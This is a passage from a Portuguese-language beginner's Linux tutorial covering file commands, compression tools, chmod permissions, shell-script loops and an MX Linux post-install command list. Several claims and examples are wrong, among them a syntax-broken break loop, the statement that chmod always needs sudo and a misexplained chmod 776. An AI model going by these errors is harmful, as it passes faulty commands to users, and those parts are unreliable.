Tchau
Você ainda deseja ficar aqui
Você deseja ficar aqui ?
tchau
Você disse Tchau
~ $

.

O loop serve para scripts avançados, redes de computadores, e outros.

.

CRIE SEU PRÓPRIO EPUB USANDO O PROGRAMA SIGIL

.

LINUX COMANDOS DE MANIPULAÇÃO DE ARQUIVOS PARA USAR EM SHELL SCRIPT

.

Crie uma pasta, abra o terminal nesta tua pasta criada e execute:

.

ls -t -a -h -l

pwd

cd ..

ls -a

pwd

cd -

ls -t

pwd

touch nome-do-arquivo-a-ser-criado1.txt nome2.txt

ls -t

cat nome2.txt

echo 'Olá Mundo!' > nome2.txt

cat nome2.txt

ls ; echo ; echo "E ..." ; sleep 4 ; echo ; ls -t

clear

mkdir pasta-teste

ls -a

ls -t ; echo

rmdir pasta-teste

ls -t ; pwd

mkdir -p pasta-mama/pasta-filha

ls -t ; echo

> nome-do-arquivo-a-ser-criado3.txt ; > nome4.txt

ls -at ; echo

pwd

cp nome2.txt nome3.txt

ls -t ; echo

mv nome2.txt nome1.txt

ls -t

find -name nome2.txt

find -name nome3.txt

find -name nome1.txt

mv nome1.txt pasta-mama/

find -name nome1.txt

find -name nome3.txt

rm nome3.txt

find -name nome3.txt

ls -t

pwd

find nome-do-arquivo-a-ser-criado3.txt

rm nome-do-arquivo-a-ser-criado3.txt

ls -t

rm nome4.txt nome-do-arquivo-a-ser-criado1.txt

ls -t ; echo

clear

ls

cd pasta-mama/

cd ..

pwd

ls

cd -

ls ; echo

echo -e 'Este texto\n \né do arquivo\n \nnome1.txt\n' >> nome1.txt

cat nome1.txt

ls

mv nome1.txt pasta-filha/

ls ; echo

mkdir pasta-bro

ls

cd pasta-filha/

> texto-filha.txt

ls -t

echo -e "\n \nEste texto\n \nEstá escrito em\n \ntexto-filha.txt!" > texto-filha.txt

cat texto-filha.txt

echo -e "\n \nEste texto\n \nSobreescreve\n \ntexto-filha.txt!" > texto-filha.txt

cat texto-filha.txt

echo -e "\n \nEste texto\n \nSerá adicionado a\n \ntexto-filha.txt\n" >> texto-filha.txt

cat texto-filha.txt

ls -t

cat nome1.txt

cp nome1.txt nome8.txt

clear

ls -t

cat nome8.txt

cd ..

ls

rm -rf pasta-filha/

ls

rmdir pasta-bro/

ls

cd ..

pwd

ls

rmdir pasta-mama/

ls

clear

pwd

echo -e 'L1ee\n L2nn\nL3cc\nL4yy\nL5rr\nL6ii\nL7hh\n L8jj\nL9ss\n L10mm\n L11ww\nL12oo\n L13ff' > 09-texto_teste.txt

mkdir 09-texto_teste ; mv 09-texto_teste.txt 09-texto_teste/ ; cd 09-texto_teste/ ; ls -c

cat 09-texto_teste.txt

head -5 09-texto_teste.txt

head -2 09-texto_teste.txt

tail -6 09-texto_teste.txt

tail -3 09-texto_teste.txt

head -5 09-texto_teste.txt | tail

tail -6 09-texto_teste.txt | head

wc -m 09-texto_teste.txt

wc -w 09-texto_teste.txt

wc 09-texto_teste.txt

more 09-texto_teste.txt

cd ..

rm -r 09-texto_teste/

ls -t

clear

exit

.

Criação/backup de/em links com ln:

ln -s

ln -b

ln -i

.

COMANDOS DE COMPACTAÇÃO / DESCOMPACTAÇÃO

.

TAR

Armazena ou extrai arquivos e diretórios dentro de um único arquivo ou dispositivo.

.

Sintaxe: tar [opções] arquivos_ou_diretórios

Opções:

-c :: cria um novo arquivo .tar e adiciona a ele os arquivos especificados

-x :: retira os arquivos agrupados no arquivo .tar

-f :: indica que o destino é um arquivo em disco e não uma fita magnética

-v :: exibe o nome de cada arquivo processado

-Z :: compacta ou descompacta arquivos utilizando o comando compress

-z :: compacta ou descompacta arquivos utilizando o comando gzip

-j :: compacta ou descompacta arquivos utilizando o comando bzip2

-M :: múltiplos volumes

-b n :: define o tamanho do bloco de dados utilizado pelo tar (n*512 bytes)

.

Exemplos:

1. Gera um arquivo de backup do diretório "documentos1":

tar -cvf documentos.tar documentos1

2. Exibe o conteúdo do arquivo "documentos.tar":

tar -tvf documentos.tar

3. Extrai o conteúdo do arquivo "documentos.tar":

tar -xvf documentos.tar

5. Gera um arquivo de backup compactado com bzip2 do diretório "documentos1":

tar -cvjf memorandos.tar.bz2 documentos1

6. Divide em vários disquetes o arquivo "documentos.tar.bz2":

tar -cvMf /dev/fd0 /operftp/documentos.tar.bz2

7. Extrai o arquivo de backup armazenado no disquete:

tar -xvMf /dev/fd0

.

CPIO

Executa funções de arquivamento de dados.

.

Sintaxe: cpio [opções]

Opções:

-o :: lê nomes de arquivos da entrada padrão e os copia para a saída padrão com a informação necessária para a sua recuperação posterior com o comando: cpio -i

-i :: lê da entrada padrão um arquivo criado pelo comando cpio -o e extrai os arquivos armazenados

-v :: exibe o nome de cada arquivo processado

.

Exemplos:

1. Copia todos os arquivos mencionados em "lista.txt" para o arquivo "backup.cpio":

cpio -o /operftp/lista.txt > /operftp/backup.cpio

2. Extrai todos os arquivos armazenados em "backup.cpio":

cpio -i procedimento.zip

.

COMPRESS

Compacta um ou mais arquivos utilizando a compactação Lempel-Ziv.

Sintaxe: compress [opções] arquivos

Opções:

-c :: grava o arquivo compactado na saída padrão e retém o arquivo original

-d :: descompacta o arquivo

-r :: compacta recursivamente arquivos em todos os subdiretórios

Exemplos:

compress documentos.tar
$ compress -d documentos.tar.Z

.

UNCOMPRESS

Descompacta um ou mais arquivos que tenham sido compactados com o comando compress.

Sintaxe: uncompress [opções] arquivos

Opções:

-c :: grava o resultado na saída padrão e retém o original

-r :: descompacta recursivamente arquivos em todos os subdiretórios

Exemplo:

uncompress documentos.tar.Z

.

GZIP

Compacta um ou mais arquivos.

Sintaxe: gzip [opções] arquivos

Opções:

-c :: grava o arquivo compactado na saída padrão e retém o arquivo original

-d :: descompacta arquivo. O mesmo que gunzip

-f :: sobrescreve arquivos já existentes

-h :: mensagem de ajuda

-l :: lista o conteúdo de um arquivo compactado

-t :: testa a integridade do arquivo compactado

-n :: não salva o nome original

-r :: compacta recursivamente arquivos em todos os subdiretórios

-L :: exibe a licença do comando

Exemplos:

gzip documentos.tar

$ gzip -d documentos.tar.gz

.

GUNZIP

Descompacta arquivos compactados pelos comandos gzip e compress. Utiliza as mesmas opções de gzip.

Sintaxe: gunzip [opções] arquivos

Exemplo:

gunzip documentos.tar.gz

.

BZIP2

Compacta um ou mais arquivos.

Sintaxe: bzip2 [opções] arquivos

Opções:

-z :: força a compressão

-c :: grava na saída padrão

-t :: testa a integridade do arquivo compactado

-f :: sobrescreve arquivos já existentes

-d :: descompacta arquivos. O mesmo que bunzip2

-k :: não apaga os arquivos de entrada

-L :: licença do comando

Exemplos:

bzip2 documentos.tar

$ bzip2 -d documentos.tar.bz2

.

BUNZIP2

Descompacta arquivos compactados pelos comandos gzip ou compress. Utiliza as mesmas opções de bzip2.

Sintaxe: bunzip2 [opções] arquivos

Exemplo:

bunzip2 documentos.tar.bz2

.

ZIP

Compacta um ou mais arquivos.

Sintaxe: zip [opções] arquivo-destino arquivo-origem

Opções:

-e :: permite encriptar o conteúdo de um arquivo ZIP através de senha. A senha será pedida no momento da compactação

-m :: apaga os arquivos originais após a compactação

-r :: compacta recursivamente arquivos em todos os subdiretórios

Exemplos:

zip documentos.zip *.txt

$ zip -r documentos.zip /usr/*.txt

.

UNZIP

Descompacta arquivos compactados pelo comando zip.

Sintaxe: unzip [opções] arquivo.zip arquivos-origem [diretório]

Opções:

-l :: exibe os arquivos existentes dentro do arquivo ZIP

-d :: diretório onde os arquivos serão descompactados

-o :: substitui arquivos existentes sem perguntar

Exemplos:

unzip documentos.zip
$ unzip documentos.zip -d /operftp

.

ZCAT, ZMORE, ZLESS, BZ2CAT

Visualiza o conteúdo de um arquivo texto compactado, sem precisar descompactar o arquivo.

Os comandos zcat, zless e zmore funcionam da mesma forma que cat, less e more. A única diferença, é que esses comandos podem ler diretamente arquivos compactados com gzip ou compress sem precisar descompactar os arquivos.

.

Exemplos:

.

zcat nome_arquivo

zless nome_arquivo

zmore nome_arquivo

bz2cat nome_arquivo

.

Linux permissoes de pastas e arquivos

.

As permissões são usadas para definir quem pode acessar determinados arquivos ou diretórios, assim mantendo segurança e organização em sistemas e redes. Cada arquivo ou pasta tem 3 permissões:

(Usuário Dono) (Grupo Dono) (outros)

.

Usuário dono: é o proprietário do arquivo. Grupo Dono: é um grupo, que pode conter vários usuários. Outros: se encaixam os outros usuários em geral. O comando "ls -lh" faz uma listagem longa e detalhada no diretório onde eu estiver com o terminal aberto.

.

PARA ENTENDER AS PERMISSÕES DE PASTAS E ARQUIVOS, VOU FAZER O SEGUINTE:

.

Abro o terminal pelo menu do sistema. Não sou root, sou um usuário comum com alguns poderes administrativos, mas o prompt do terminal não está em root (#) está ($).

.

CRIO UMA PASTA COM O COMANDO:

mkdir pasta-estudo-permissoes

.

ENTRO NA PASTA COM O COMANDO:

cd pasta-estudo-permissoes/

.

CRIO UM ARQUIVO DE TEXTO CHAMADO estudo-permissoes.txt COM O COMANDO:

> estudo-permissoes.txt

.

CRIO OUTRO ARQUIVO COM O COMANDO:

touch permissoes-estudos.txt

.

DIGITO:

ls -lh

.

O RESULTADO É:

pasta-estudo-permissoes $ls -lh
total 0
-rw-rw-r-- 1 user user 0 mar 8 05:15 estudo-permissoes.txt
-rw-rw-r-- 1 user user 0 mar 8 05:16 permissoes-estudos.txt

.

AS PERMISSÕES DE ARQUIVOS SÃO INFORMADAS A MIM POR 5 CARACTERES. SÃO ELES:

r (significa leitura ), w (significa escrita ), x (significa execução ), - (hífen), d (indica que é uma pasta/diretório)

.

A PERMISSÃO DE ARQUIVOS E PASTAS ESTÁ DIVIDIDA EM QUATRO PARTES POR EXEMPLO:

Parte 1: -, Parte 2: rw-, Parte 3: r--, Parte 4: r--

.

NO TERMINAL ESTAS QUATRO PARTES SERÃO VISTAS ASSIM:

-rw-r--r--

.

EXEMPLO:

-rw-rw-r-- 1 user user 0 mar 8 05:15 estudo-permissoes.txt

.

Parte 1 (-)

hífen: o caractere "-" no início da sequência indica que aquele é um arquivo comum. Caso contrário, indica que a permissão de escrita, leitura ou execução está negada.

.

Parte 2 (rw-)

r: leitura permitida do arquivo ou diretório

.

w: permite editar um arquivo ou modificar o conteúdo de um diretório

.

hífen: o caractere "-" no início da sequência indica que aquele é um arquivo comum. Caso contrário, indica que a permissão de escrita, leitura ou execução está negada.

.

Parte 3 (r --)

r: leitura permitida do arquivo ou diretório

.

hífen: o caractere "-" no início da sequência indica que aquele é um arquivo comum. Caso contrário, indica que a permissão de escrita, leitura ou execução está negada.

.

hífen: o caractere "-" no início da sequência indica que aquele é um arquivo comum. Caso contrário, indica que a permissão de escrita, leitura ou execução está negada.

.

Parte 4 (r--)

r: leitura permitida do arquivo ou diretório

.

hífen: o caractere "-" no início da sequência indica que aquele é um arquivo comum. Caso contrário, indica que a permissão de escrita, leitura ou execução está negada.

.

hífen: o caractere "-" no início da sequência indica que aquele é um arquivo comum. Caso contrário, indica que a permissão de escrita, leitura ou execução está negada.

.

EU POSSO ALTERAR AS PESMISSÕES DESTES ARQUIVOS USANDO CHMOD.

.

O CHMOD É UM COMANDO QUE ALTERA AS PERMISSÕES DE ARQUIVOS E DIRETÓRIOS.

.

APRENDER COMO INTERPRETAR AS PERMISSÕES AJUDA A USAR O COMANDO CHMOD, POIS QUE ESSE COMANDO TRABALHA COM UMA SINTAXE SEMELHANTE.

.

A "FÓRMULA" DE USO MAIS SIMPLES DO CHMOD É:

chmod ugoa+-=rwx arquivo/diretório

.

SENDO QUE:

u: define que as regras serão aplicadas ao usuário

g: define que as regras serão aplicadas ao grupo

o: define que as regras serão aplicadas aos outros usuários do sistema

a: define que as regras serão aplicadas a todos

+: adiciona permissão

-: remove permissão

=: informa que a permissão aplicada deve ser exatamente igual a que será indicada a seguir

r: atribui a permissão de leitura

w: atribui a permissão de escrita

x: atribui a permissão de execução

.

COM ESTE PEQUENO/GRANDE CONHECIMENTO ADQUIRIDO, POSSO EXECUTAR UM COMANDO ALTERANDO AS PERMISSÕES DE UM ARQUIVO QUE EU CRIEI. O ARQUIVO "permissoes-estudos.txt".

.

EXECUTO NO TERMINAL:

sudo chmod g+w permissoes-estudos.txt

.

O chmod precisa ser usado com o comando sudo, pois apenas o usuário root tem a permissão de executá-lo. Depois de informar a senha e de ter concluído a execução, basta listar o arquivo com o ls -l para conferir a nova permissão. Percebo que onde antes era r--, agora se tornou rw-

.

CASO QUEIRA REMOVER A PERMISSÃO DE LEITURA, ESCRITA E EXECUÇÃO DE PESSOAS QUE NÃO PERTENCEM AO GRUPO, USO:

sudo chmod o-rwx permissoes-estudos.txt

.

SE QUISER DAR A PERMISSÃO DE ESCRITA E LEITURA PARA TODOS OS USUÁRIOS DO SISTEMA, BASTA EXECUTAR:

sudo chmod a+rw permissoes-estudos.txt

.

O PARÂMETRO a+rw VAI APENAS ADICIONAR A PERMISSÃO DE LEITURA E ESCRITA, ISTO É, CASO O DONO DO ARQUIVO, GRUPO E OUTROS USUÁRIOS JÁ POSSUAM A PERMISSÃO DE EXECUÇÃO, ELA NÃO SERÁ REVOGADA. SE EU QUISER IMPOR A REGRA DE APENAS LEITURA E ESCRITA, REVOGANDO UMA PERMISSÃO DE EXECUÇÃO PRÉ-EXISTENTE, USO O SINAL DE IGUAL:

sudo chmod a=rw permissoes-estudos.txt

.

OUTRA FORMA DE USAR O CHMOD

.

Existe mais de uma forma de usar o chmod e muitos preferem esta segunda, que ensinaremos a seguir. Em vez de digitar letras e operadores matemáticos, como o caso de a+rw, por exemplo, muitos administradores preferem estipular as permissões com códigos numéricos.

.

PARA ISSO, VOCÊ PRECISA PENSAR NA REGRA DE PERMISSÃO COMO SE FOSSE UMA SEQUÊNCIA DE BITS. A PERMISSÃO rwx, POR EXEMPLO, EQUIVALERIA A 111, ENQUANTO QUE RW- SE TRANSFORMARIA EM 110. RESUMINDO: 1 PARA LETRA, 0 PARA HÍFEN. CONVERTER ESSES NÚMEROS DE BASE BINÁRIA PARA DECIMAL, 111 VIRARIA 7, ENQUANTO QUE 110 SE TORNARIA 6.

.

VEJA O EXEMPLO ABAIXO BEM FÁCIL:

.

rwx
111
7

rw-
110
6

.

SEGUINDO ESSA LÓGICA, SE VOCÊ QUISESSE FORNECER AS PERMISSÕES DE LEITURA, ESCRITA E EXECUÇÃO PARA TODOS OS USUÁRIOS DO SISTEMA, PODERIA DIGITAR A SEGUINTE LINHA:

sudo chmod 777 nome-do-arquivo

.

SE PREFERIR MANTER A OPÇÃO DE EXECUTAR O ARQUIVO APENAS PARA O DONO E GRUPO DELE, ENTÃO A LINHA MUDA PARA:

sudo chmod 776 nome-do-arquivo

.

PARA FACILITAR E NÃO TER QUE CONVERTER DE CABEÇA TODOS ESSES NÚMEROS, EXISTE UMA PEQUENA TABELA DE APENAS OITO (8) PERMISSÕES, QUE PODE SER CONSULTADA SEMPRE QUE NECESSÁRIO:

.

Permissão1: 0 ; Permissão2: 1 ; Permissão3: 2 ; Permissão4: 3 ; Permissão5: 4 ; Permissão6: 5 ; Permissão7: 6 ; Permissão8: 7. Onde a:

.

# A permissão 1:

---

Convertida para binário:

000

Tem o decimal:

0

# A permissão 2:

--x

Convertida para binário:

001

Tem o decimal:

1

# A permissão 3:

-W-

Convertida para binário:

010

Tem o decimal:

2

# A permissão 4:

-WX

Convertida para binário:

011

Tem o decimal:

3

# A permissão 5:

r--

Convertida para binário:

100

Tem o decimal:

4

# A permissão 6:

r-x

Convertida para binário:

101

Tem o decimal:

5

# A permissão 7:

rw-

Convertida para binário:

110

Tem o decimal:

6

# A permissão 8:

rwx

Convertida para binário:

111

Tem o decimal:

7

.

CASO NÃO HAJA TODAS AS PERMISSÕES, PODERÁ APARECER INCOMPLETO:

rwxrw_ _ _x, ou seja, neste exemplo:

Dono do arquivo tem permissão de Ler, Escrever e executar (rwx).

Grupo tem permissão de Ler e Escrever (rw_).

Outros tem permissão apenas de executar. (_ _ x).

.

CONCLUSÃO:

.

EXISTEM DOIS MODOS DE DEFINIR UMA PERMISSÃO, ATRAVÉS DO MODO OCTAL E MODO TEXTUAL.

.

TEXTUAL - Usamos letras antes das permissões (chmod é o comando para modificar permissões de arquivos):

$ chmod u+rw, g+w, o-rwx teste.txt

Onde:

U - representa usuário;
G - representa grupo;
O - representa outros.

ugo

.

MODO OCTAL

.

O modo Octal tem a mesma função de definir permissões, só que em números. Exemplo:

$ chmod 620 permissoes-estudos.txt

(comando) (permissão) (arquivo)

.

Tipo de permissão Octal:

4 - Indica permissão de leitura;
2 - Permissão de escrita;
1 - Indica permissão de execução;
0 - Indica sem permissões.

.

Agora é simples, é só somar e ditar as permissões, exemplo:

4 + 2 + 1 = 7 (permissão de rwx)
4 + 2 = 6 (permissão rw)
4 = (permissão r)

.

Exemplo: A permissão 610 indica que o arquivo tem permissão:

6 para dono do arquivo
1 para grupo e
0 para outros ou seja

dono= (rw_) Grupo=(_ _ x) outros=(_ _ _)

.

Percebo que quando é feita a listagem longa "ls -l", o primeiro caractere não é uma permissão.

.

O primeiro caracter "d" indica o tipo do arquivo, neste caso "d" indica que é um diretório.

.

Existem também outras permissões especiais mas não quero saber no momento.

.

Com um pouco de prática talvez um dia eu esteja alterando permissões de arquivos e diretórios de maneira automática. Mas eu garanto que você e eu, nunca mais vamos esquecer do que faz um chmod 777.

.

Posso ler este texto em formato .txt no celular usando o FBreader ou algum outro programa do Android.

.

CREIO QUE ISTO É UM BOM COMEÇO. A GENTE NUNCA PARA DE APRENDER. QUER CONTINUAR?

.

CURIOSIDADE:

.

Quem desenvolve software com Linux para usar no Linux, tem que disponibilizar o código fonte.

Muitos desenvolvedores disponibilizam um código fonte sem muita informação, sem instrução detalhada de como compilar. Algo tão complexo e trabalhoso que, para dele se obter o software e usa-lo só pagando a um outro profissional especializado.

A complexidade do código fonte é uma barreira criada com propósito.

Um deles é este.

Nega o software a grupos, empresas e o usuário comuns por causa da sua extrema complexidade de compilação.

Pode ser que isto já seja a regra.

Tente instalar alguns programas usando o código fonte e tire sua própria conclusão.

.

Ganhar dinheiro vendendo serviços e criando programas com software Linux é bom.

.

Criar barreiras para dificultar o uso do código fonte não é bom.

.

Existem pessoas que creditam que melhores softwares podem resultar de um modelo
aberto de desenvolvimento do que de modelos proprietários.

Teoricamente, qualquer empresa criando um software para uso próprio pode economizar dinheiro adicionando suas contribuições as dos outros a fim de obter um produto final muito melhor para ela mesma.

Quem quer ganhar dinheiro com a venda de software precisa ser extremanente criativo atualmente.

A pessoa ou empresa pode vender o software que cria usando Linux, mas tem que incluir um software GPL, o código-
fonte dele que deve ser passado para frente.

Outros podem recompilar esse produto, e assim usar o software e pode até revender sem custos.

.

ENTÃO PARA GANHAR DINHEIRO GRUPOS, PESSOAS E EMPRESAS PODEM:

Vender seus produtos com base em uma assinatura. Por uma determinada quantia de dinheiro por ano, você obtém o código binário para rodar o Linux (assim você não tem que compilar por conta própria), suporte garantido, ferramentas para monitoramento de hardware e software no seu computador, acesso à base de conhecimento da empresa e outros recursos.

.

A maioria dos sistemas operacionais oferecidos gratuitamente, inclui grande parte do mesmo software que outros oferecem com base em uma assinatura. Também estão disponíveis em forma binária, mas não há garantias associadas com o software ou futuras atualizações dele.

.

Dizem que pequeno escritório ou um usuário pessoal pode arriscar usar sistemas operacionais Linux excelentes e gratúitos, mas uma grande empresa que está executando aplicações de missão crítica provavelmente acabará investindo algum dinheiro em produtos com base em uma assinatura.

.

Para lucrar, gerar capital, ganhar dinheiro empresas que trabalham com Linux oferecem:

.

1
Treinamento e certificação

2
Recompensas de software

uma maneira fascinante de as empresas de software de código-fonte aberto fazerem dinheiro. Digamos que uma empresa/grupo/usuário está usando o pacote de software ABZ e precisa de um novo recurso imediatamente. Ao pagar uma recompensa de software para o projeto em si, ou para outros desenvolvedores, a empresa/grupo/usuário pode ter as melhorias que precisa deslocadas para o início da fila.

O software que empresa/grupo/usuário paga permanecerá coberto pela sua licença de código-fonte aberto, mas a empresa/grupo/usuário terá os recursos de que precisa provavelmente mais barato que o custo da construção do projeto a partir zero.

3
Doações

Muitos projetos de código-fonte aberto aceitam doações de pessoas físicas ou empresas de desenvolvimento de código-fonte aberto que usam código a partir de seus projetos. Surpreendentemente, muitos projetos de código-fonte aberto suportam um ou dois desenvolvedores e funcionam exclusivamente com base em doações. Estojos, canecas e camisetas - Muitos projetos de código-fonte aberto têm lojas online onde podemos comprar CDs e uma variedade de canecas, camisetas, mouse pads e outros souvenires. Se tu amas um projeto de verdade, compre uma camiseta e uma caneca. Formas mais criativas estão a ser inventadas diariamente para apoiar quem esta a produzir software de código-fonte aberto.

4
Retorno obtido

Pessoas/Grupos se tornam colaboradoras e mantenedoras de software de código-fonte aberto porque precisavam ou queriam o software. As contribuições que elas fazem gratuitamente valem a pena pelo retorno que elas obtêm de outras pessoas que fazem o mesmo.

.

Não esqueça que para algumas pessoas, o Linux não tem como objetivo lucro. O objetivo do Linux é garantir a tua liberdade. O trabalho colaborativo produz ótimos softwares disponíveis a todos em toda parte.

.

APRENDENDO SHELL SCRIPT - CONTINUE, BREAK E EXIT

.

A instrução continue é usada para retomar a iteração seguinte do loop FOR, WHILE ou UNTIL.

Use a instrução break para sair de dentro de um loop FOR, WHILE ou UNTIL, isto é, pare a execução do loop.

O exit é usado para definir o status da execução do programa, se o valor de $? for 0 então tudo ocorreu naturalmente, se não houve erro.

Você pode por o exit 0 no final do seu script para sair sem problemas, e um echo $? para saber qual foi o código de retorno na execução do programa.

No exemplo abaixo só irá imprimir 8 e 9, perceba o uso continue , break e exit.

.

#!/bin/bash

for i in $(seq 1 10);
do
if [[ "$i" "9" ]]; then
break;
fi

echo $i;

done

exit 0;

# Fim do arquivo: i8-continue-break-exit.sh

.

Execute o exemplo abaixo:

.

#!/bin/bash

_INPUT_STRING="Olá"
while :
do
echo "Você deseja ficar aqui?"
read _INPUT_STRING

if [[ $_INPUT_STRING = 'tchau' ]]; then
continue
else
echo "Você ainda deseja ficar aqui"
fi

done

# Fim do arquivo: 0n4-read-continue.sh

.

OBS:
Se for o caso, SAIA COM: Ctrl +C

.

Execute o script abaixo:

#!/bin/bash

_INPUT_STRING="Olá"
while :
do
echo "Você deseja ficar aqui?"
read _INPUT_STRING

if [[ $_INPUT_STRING = 'tchau' ]]; then
continue
else
break
fi

done

# Fim do arquivo: 1n5-read-continue.sh

.

OBS:
Se for o caso, SAIA COM: Ctrl +C

.

Executa o script abaixo:

#!/bin/bash

_INPUT_STRING="Olá"
while :
do
echo "Você deseja ficar aqui?"
read _INPUT_STRING

if [[ $_INPUT_STRING != 'tchau' ]]; then
continue
else
break
fi

done

# Fim do arquivo: 1n5-continue-break.sh

.

Resultado:

~ $sh 0n4-read-continue.sh
Você deseja ficar aqui?
Hmhm
Você deseja ficar aqui?
Sim
Você deseja ficar aqui?
Não sei
Você deseja ficar aqui?
Pare!
Você deseja ficar aqui?
tchau
~ $

.

Executa o script abaixo:

#!/bin/bash

_INPUT_STRING="Olá"
while :
do
echo "Você deseja ficar aqui?"
read _INPUT_STRING

if [[ $_INPUT_STRING != 'tchau' ]]; then
continue
else
exit 0
fi

done

# Fim do arquivo: 2n-continue-exit.sh

.

COMANDO EVAL

O comando eval é perigoso evite usar ele. Aqui um exemplo de uso do eval. Quem desenvolve software é que sabe usar o eval.

.

Execute os comandos abaixo no terminal:

A='ls'

B=A

echo $B

echo '$'$B

eval echo '$'$B

.

O COMANDO EXEC

O comando exec substitui o processo shell atual pelo comando especificado. O exec cria a segunda parte da junção, o que não seria possível usando o pipe |.

.

APRENDENDO SHELL SCRIPT - MATEMÁTICA EM SHELL SCRIPT

.

Expressões com parênteses são efetuadas em primeiro lugar.

.

\*, % e / são efetuados antes de + e -

.

Todo o resto é efetuado da ESQUERDA para a DIREITA.

.

No caso da multiplicação utiza-se \*, pois o asterisco é um curinga do Linux.

.

FORMAS DE CÁLCULO:

.

echo $((2+2))

echo $((2+2*5))

echo $((2+2*5/2))

a=2+2 ; echo $a

declare -i a

a=2+2 ; echo $a

a=2+2 ; echo $a

echo "5/2" | bc

echo "scale=2;5/2" | bc

bc

2+2

scale=2;5/2

quit

expr 2 + 2

bc << calc.txt

dc calc.txt

echo "obase=2;2" | bc

echo "obase=2;54" | bc

expr lenght "Linux"

.

APRENDENDO SHELL SCRIPT - CRIAR PROGRAMAS GRÁFICOS E INTERATIVOS COM SHELL SCRIPT

.

Podemos criar programas interativos pelo terminal e programas gráficos. Tem muitas ferramentas de comandos. Algumas já vem pré-instaladas nas Distros Linux. Vamos tentar entender duas.

.

Dialog - Para programas cli modo texto mas que criam uma interatividade com o usuário. Dialog cria widgets, menus, avisos, barras de progresso, entre outras coisas que colocamos em Shell Script e aparecem no terminal ao executar o script. Pode usar o mouse para clicar nas janelas do Dialog. Existem várias caixas de Dialog que podemos usar.

.

Instale o Dialog pela central de programas da sua Distro, ou usando o gerenciador de pacotes da sua Distribuição. Verifique se tem o Yad instalado também.

.

Para criar uma tela simples execute o comando abaixo no terminal:

dialog --msgbox 'Programa primeiro com Dialog Shell Script - bash 4.4.19' 5 50

.

OBS:

5 = Altura

50 = Largura

.

Yad - Para programas gráficos. Evolução do Zenity. Tem mais opções.

.

Site para aprender comandos:

http://explainshell.com/

.

Este artigo acaba aqui. Tudo de graça. Saiba que você foi longe e depois deste artigo, se houver necessidade de reconhecimento, pode se considerar um usuário auto-didata avançado de GNU/Linux.

Porque estas palavras só tem valor na mente daqueles que buscam algum conhecimento e o praticam.

Sempre estudante. Existe muito mais a saber sobre Shell Script. Mas se você for um usuário comum como eu, este conhecimento adquirido aqui aliado a necessidade e criatividade, é ferramenta para fazer muita coisa útil e se não for criador, vai mesmo assim, entender muita coisa quando encontrar shell scripts pelo caminho.

.

Até Breve!

.

:)

.

MXLinux – Guia Pós-Instalação 2018

MXLinux - Guia Pós-Instalação 2018

.

MX Linux é uma distro derivada do Debian Stable feita por duas comunidades. As comunidades antiX e ex-MEPIS, utilizando o melhor de cada uma delas. É uma distro dedicada a computadores mais velhos, porém funciona que é uma beleza nos computadores mais modernos e em máquinas virtuais também. O MXLinux funciona muito bem é muito bem feito e instala em quase tudo que é computador e notebook de agora até dez anos atrás.

.

Por causa de uns problemas na produção de processadores no hardware dos computadores de todo mundo, não faça nada, nadinha antes de atualizar o seu sistema operacional Linux seja ele qual for, isto inclui o nosso querido MXLinux de 2018 também, beleza? E para mim, eu sempre tentei fazer desta maneira depois de ter passado por uns desgostos ao não obedecer esta dica.

.

Ok, vamos em frente.

.

Todos os programas podem ser instalados com a centrais de programas. É só clicar no menu ir em Sistema e selecionar, clicar e instalar montes de programas de ponta.

.

Porém, podemos fazer tudo pelo terminal do MXLinux, então eu abro o terminal pelo menu do sistema logo após ter instalado o MXLinux e executo este tutorial. É útil para mim e espero que seja útil para você também.

.

Atualização:

sudo sh -c 'dpkg --configure -a ; apt list --upgradable ; apt --fix-broken install ; apt update ; apt full-upgrade -y' ; sudo sh -c 'apt update ; apt-get dist-upgrade ; update-grub ; apt install -f ; apt update ; apt full-upgrade -y'

.

Instalar VirtualBox:

sudo apt-get install virtualbox virtualbox-guest-utils virtualbox-guest-x11 -y

.

Instalar Conky:

MXLinux já vem com dezenas de conky personalizados lindos!

.

Instalar programas preferidos:

sudo sh -c 'clear ; apt-get update ; apt-get install -y seahorse aria2 gufw firewalld firejail smplayer qupzilla midori w3m w3m-img youtube-dl snapd flatpak cmus googler fortune fortunes-br cowsay atril pwgen makepasswd rhythmbox gedit vim transmission uget sigil calibre' ; sudo sh -c 'dpkg --configure -a ; sleep 5 ; apt list --upgradable ; sleep 5 ; apt --fix-broken install ; sleep 5 ; apt update ; apt full-upgrade -y' ; sudo sh -c 'apt update ; apt-get dist-upgrade ; update-grub ; apt install -f ; apt update ; apt full-upgrade -y'

.

Habilitar firewalls:

.

sudo sh -c 'dpkg --configure -a ; apt list --upgradable ; apt --fix-broken install ; apt update ; apt full-upgrade -y' ; sudo sh -c 'apt update ; apt-get dist-upgrade ; update-grub ; apt install -f ; apt update ; apt full-upgrade -y ; systemctl start firewalld.service ; firewall-cmd --state ; ufw enable ; ufw status verbose ; systemctl enable firewalld ; apt update ; apt full-upgrade -y'

.

Habilitar firejail para programas pertinentes a ele:

.

sudo apt update

mkdir -p ~/.local/share/applications; for profile in $(basename -s .profile /etc/firejail/*.profile); do if [[ -f /usr/share/applications/$profile.desktop ]]; then sed -r 's/^(Exec=)/\1firejail /' /usr/share/applications/$profile.desktop > ~/.local/share/applications/$profile.desktop; echo $profile configured to run in firejail; fi; done ; sudo apt upgrade

.

Ao terminar de instalar tudo que preciso executo:

.

sudo sh -c 'dpkg --configure -a ; apt list --upgradable ; apt --fix-broken install ; apt update ; apt full-upgrade -y' ; sudo sh -c 'apt update ; apt-get dist-upgrade ; update-grub ; apt install -f ; apt update ; apt full-upgrade -y'

.

Reinicio a máquina com o código abaixo. Não tem nenhum programa aberto fora o terminal:

.

sudo apt update ; echo ; echo 'Reniciando o sistema em 8 segundos:' ; sleep 3 ; echo 'Sugiro que feche todos os programas abertos' ; sleep 4 ; echo ; echo 'Reiniciando...' ; echo ; sleep 8 ; echo ; sudo sh -c 'shutdown -r now'

.

Comandos MXLinux - Debian mais usados:

.

ATUALIZAÇÃO COMPLETA:

sudo apt list --upgradable

sudo apt-get update

sudo apt-get upgrade

sudo apt-get full-upgrade

sudo dpkg --configure -a

sudo apt --fix-broken install

.

BUSCA:

apt search

.

INFORMAÇÃO SOBRE PACOTES:

apt show

.

Instalar/Remover/Limpar:

sudo apt-get install

sudo apt-get remove

sudo apt-get autoremove

sudo apt-get autoclean

sudo apt-get clean ; sudo apt-get update

.

Atualizar Grub:

.

sudo update-grub

.

.

Aliases para usar no .bashrc:

.

